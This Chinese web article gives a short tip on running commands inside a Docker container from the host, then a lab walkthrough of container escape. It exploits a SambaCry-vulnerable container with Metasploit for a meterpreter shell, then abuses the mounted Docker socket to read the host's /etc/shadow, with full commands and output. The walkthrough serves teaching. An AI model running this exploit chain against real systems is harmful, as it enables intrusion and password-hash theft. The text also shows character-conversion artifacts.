在宿主機(jī)上執(zhí)行docker容器內(nèi)部的shell或程序方式
為了避免反復(fù)進(jìn)入docker容器內(nèi)部操作,可以將一系列容器內(nèi)部的指令由宿主機(jī)來(lái)操作完成。
在宿主機(jī)(作者主機(jī)為windows7)上執(zhí)行centos容器(name為centos-1)中/usr目錄下的“printer”可執(zhí)行程序,該程序輸出為打印“123”。
C:\Users\Administrator>docker exec -it centos-1 /bin/bash -c "cd usr && ./printer" 123
成功。
補(bǔ)充知識(shí):利用Docker容器的不安全部署獲取宿主機(jī)權(quán)限
濫用容器( container)及逃逸的方法有多種,本文將討論最基本的一種,即濫用docker socket來(lái)逃逸容器并在宿主機(jī)上以root身份執(zhí)行代碼。
實(shí)驗(yàn)環(huán)境設(shè)置
由于我們將使用容器,因此你必須安裝docker。
創(chuàng)建網(wǎng)絡(luò)
首先,我們?cè)趧?chuàng)建容器的地方創(chuàng)建一個(gè)docker網(wǎng)絡(luò):
docker network create pwnage
啟動(dòng)易受攻擊的容器
在本示例中,我將使用受SambaCry漏洞(CVE-2017-7494)影響的容器。有關(guān)該漏洞的更多信息,可以參閱opsxcq/exploit-CVE-2017-7494。
此漏洞允許你在Samba服務(wù)器中遠(yuǎn)程代碼執(zhí)行,我們將docker socket添加到容器中,以下是一個(gè)濫用docker的示例。
docker run --rm -it \ --name vulnerable \ --network pwnage \ -v '/var/run/docker.sock:/var/run/docker.sock' \ vulnerables/cve-2017-7494
啟動(dòng)攻擊機(jī)
實(shí)驗(yàn)環(huán)境設(shè)置完成后,接下來(lái)我們需要將攻擊者的主機(jī)添加到網(wǎng)絡(luò)中。Samba Cry存儲(chǔ)庫(kù)中有一個(gè)漏洞利用代碼,但這里我將使用Metasploit,因?yàn)樗菀咨蟼魑宜璧膬?nèi)容。
我已經(jīng)為此構(gòu)建了一個(gè)映像,只需運(yùn)行bellow命令,所有內(nèi)容都將根據(jù)實(shí)驗(yàn)環(huán)境需要運(yùn)行:
docker run --rm -it \ --network pwnage \ -v '/usr/bin/docker:/docker:ro' \ strm/metasploit
加載完成后,你將看到如下界面。
攻擊利用
信息收集
在任何攻擊或測(cè)試中,信息收集都是必不可少的一個(gè)環(huán)節(jié)。因此,讓我們先來(lái)ping下易受攻擊的容器檢查下當(dāng)前的連接情況。
ping -c 2 vulnerable
如果一切正常,你應(yīng)該能看到以下輸出信息。
msf5 > ping -c 2 vulnerable [*] exec: ping -c 2 vulnerable PING vulnerable (172.20.0.2) 56(84) bytes of data. 64 bytes from vulnerable.pwnage (172.20.0.2): icmp_seq=1 ttl=64 time=0.120 ms 64 bytes from vulnerable.pwnage (172.20.0.2): icmp_seq=2 ttl=64 time=0.097 ms --- vulnerable ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1009ms rtt min/avg/max/mdev = 0.097/0.108/0.120/0.015 ms
然后,我們進(jìn)行基本的smb共享枚舉:
use auxiliary/scanner/smb/smb_enumshares set rhosts vulnerable run
輸出結(jié)果如下:
msf5 > use auxiliary/scanner/smb/smb_enumshares msf5 auxiliary(scanner/smb/smb_enumshares) > set rhosts vulnerable rhosts => vulnerable msf5 auxiliary(scanner/smb/smb_enumshares) > run [+] 172.20.0.2:139 - data - (DS) Data [+] 172.20.0.2:139 - IPC$ - (I) IPC Service (Crying samba) [*] vulnerable: - Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
可以看到,這個(gè)samba服務(wù)器中有一個(gè)名為data的共享。
獲取shell
下一步我們要做的是,針對(duì)宿主機(jī)運(yùn)行漏洞利用程序獲取shell。在Metasploit中,該漏洞名為is_known_pipename,位于exploit/linux/samba/is_known_pipename。
運(yùn)行bellow命令攻擊宿主機(jī):
use exploit/linux/samba/is_known_pipename set RHOST vulnerable set RPORT 445 set payload linux/x64/meterpreter/bind_tcp set TARGET 3 set SMB_FOLDER data set SMBUser sambacry set SMBPass nosambanocry exploit
如果一切順利,你將獲取到一個(gè)meterpreter shell。如下:
msf5 > use exploit/linux/samba/is_known_pipename msf5 exploit(linux/samba/is_known_pipename) > set RHOST vulnerable RHOST => vulnerable msf5 exploit(linux/samba/is_known_pipename) > set RPORT 445 RPORT => 445 msf5 exploit(linux/samba/is_known_pipename) > set payload linux/x64/meterpreter/bind_tcp payload => linux/x64/meterpreter/bind_tcp msf5 exploit(linux/samba/is_known_pipename) > set TARGET 3 TARGET => 3 msf5 exploit(linux/samba/is_known_pipename) > set SMB_FOLDER data SMB_FOLDER => data msf5 exploit(linux/samba/is_known_pipename) > set SMBUser sambacry SMBUser => sambacry msf5 exploit(linux/samba/is_known_pipename) > set SMBPass nosambanocry SMBPass => nosambanocry msf5 exploit(linux/samba/is_known_pipename) > exploit [*] vulnerable:445 - Using location \\vulnerable\data\ for the path [*] vulnerable:445 - Retrieving the remote path of the share 'data' [*] vulnerable:445 - Share 'data' has server-side path '/data [*] vulnerable:445 - Uploaded payload to \\vulnerable\data\shyyEPPk.so [*] vulnerable:445 - Loading the payload from server-side path /data/shyyEPPk.so using \\PIPE\/data/shyyEPPk.so... [-] vulnerable:445 - >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND [*] vulnerable:445 - Loading the payload from server-side path /data/shyyEPPk.so using /data/shyyEPPk.so... [-] vulnerable:445 - >> Failed to load STATUS_OBJECT_NAME_NOT_FOUND [*] Started bind TCP handler against vulnerable:4444 [*] Sending stage (816260 bytes) to vulnerable meterpreter >
提權(quán)
我們將通過(guò)濫用容器內(nèi)可用的docker socket來(lái)提權(quán)。由于docker在宿主機(jī)上是以root身份運(yùn)行的,因此它也具有root權(quán)限。我們可以濫用它來(lái)執(zhí)行多項(xiàng)操作。例如,使用—privileged選項(xiàng)可以為我們提供許多擴(kuò)展功能,以下是從docker官方文檔中提取的解釋文本:
默認(rèn)情況下,Docker的容器是沒(méi)有特權(quán)的,例如不能在容器中再啟動(dòng)一個(gè)容器。這是因?yàn)槟J(rèn)情況下容器是不能訪問(wèn)任何其它設(shè)備的。但是通過(guò)”privileged”,容器就擁有了訪問(wèn)任何其它設(shè)備的權(quán)限。當(dāng)操作者執(zhí)行docker run —privileged時(shí),Docker將擁有訪問(wèn)主機(jī)所有設(shè)備的權(quán)限,同時(shí)Docker也會(huì)在apparmor或者selinux做一些設(shè)置,使容器可以容易的訪問(wèn)那些運(yùn)行在容器外部的設(shè)備。
你可以使用—device選項(xiàng)訪問(wèn)設(shè)備。但在本示例中,我將映射toor文件系統(tǒng) (/) 到容器中并訪問(wèn)它。
由于此容器中沒(méi)有docker客戶端,因此下一步我們要做的就是在目標(biāo)容器中設(shè)置docker客戶端及其依賴項(xiàng)。你只需運(yùn)行以下命令,即可完成所有這些操作。
upload /docker /docker upload /usr/lib/x86_64-linux-gnu/libltdl.so.7 /usr/lib/x86_64-linux-gnu/libltdl.so.7 chmod 777 /docker chmod +x /docker meterpreter > upload /docker /docker [*] uploading : /docker -> /docker [*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker [*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker [*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker [*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker [*] Uploaded -1.00 B of 36.36 MiB (0.0%): /docker -> /docker [*] uploaded : /docker -> /docker meterpreter > upload /usr/lib/x86_64-linux-gnu/libltdl.so.7 /usr/lib/x86_64-linux-gnu/libltdl.so.7 [*] uploading : /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7 [*] Uploaded -1.00 B of 38.47 KiB (-0.0%): /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7 [*] uploaded : /usr/lib/x86_64-linux-gnu/libltdl.so.7 -> /usr/lib/x86_64-linux-gnu/libltdl.so.7 meterpreter > chmod 777 /docker meterpreter > chmod +x /docker meterpreter >
現(xiàn)在,我們就可以使用docker來(lái)訪問(wèn)宿主機(jī)上的文件系統(tǒng)了。\
execute -f /docker -i -H -c -a "run --rm -v '/:/rootfs' debian:9.2 cat /rootfs/etc/shadow"
我們來(lái)轉(zhuǎn)儲(chǔ)下本地用戶的哈希,輸出結(jié)果如下:
meterpreter > execute -f /docker -i -H -c -a "run --rm -v '/:/rootfs' debian:9.2 cat /rootfs/etc/shadow" Process 113 created. Channel 13 created. root:$1$UFKdtFGw$qp29y1qGWit/vnvIG0uSr1:17488:0:99999:7::: daemon:*:17488:0:99999:7::: bin:*:17488:0:99999:7::: sys:*:17488:0:99999:7::: sync:*:17488:0:99999:7::: games:*:17488:0:99999:7::: man:*:17488:0:99999:7::: lp:*:17488:0:99999:7::: mail:*:17488:0:99999:7::: news:*:17488:0:99999:7:::
以上這篇在宿主機(jī)上執(zhí)行docker容器內(nèi)部的shell或程序方式就是小編分享給大家的全部?jī)?nèi)容了,希望能給大家一個(gè)參考,也希望大家多多支持本站。
版權(quán)聲明:本站文章來(lái)源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請(qǐng)保持原文完整并注明來(lái)源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來(lái)源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來(lái),僅供學(xué)習(xí)參考,不代表本站立場(chǎng),如有內(nèi)容涉嫌侵權(quán),請(qǐng)聯(lián)系alex-e#qq.com處理。